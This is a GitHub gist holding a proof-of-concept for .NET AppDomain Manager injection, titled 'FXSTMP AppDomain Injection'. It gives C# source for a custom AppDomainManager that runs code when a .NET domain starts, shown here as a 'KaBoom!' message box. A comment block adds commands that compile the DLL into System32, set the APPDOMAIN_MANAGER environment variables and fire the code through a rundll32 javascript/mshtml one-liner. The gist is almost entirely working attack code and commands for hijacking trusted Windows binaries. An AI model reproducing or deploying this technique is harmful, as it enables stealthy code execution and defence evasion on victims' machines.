Skip to content

Instantly share code, notes, and snippets.

@rvrsh3ll
Created June 1, 2022 19:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rvrsh3ll/1a51e6495cde7ba62c61610e156a569a to your computer and use it in GitHub Desktop.
Save rvrsh3ll/1a51e6495cde7ba62c61610e156a569a to your computer and use it in GitHub Desktop.
FXSTMP AppDomain Injection. - FXSTHIS!
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
System.Windows.Forms.MessageBox.Show("AppDomain - KaBoom!");
// You have more control here than I am demonstrating. For example, you can set ApplicationBase,
// Or you can Override the Assembly Resolver, etc...
return;
}
}
/*
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:C:\Windows\System32\fxstmp\fxstmp.dll fxstmp.cs
set APPDOMAIN_MANAGER_ASM=fxstmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
set COMPLUS_Version=v4.0.30319
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";a=new%20ActiveXObject("System.Object");close();
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment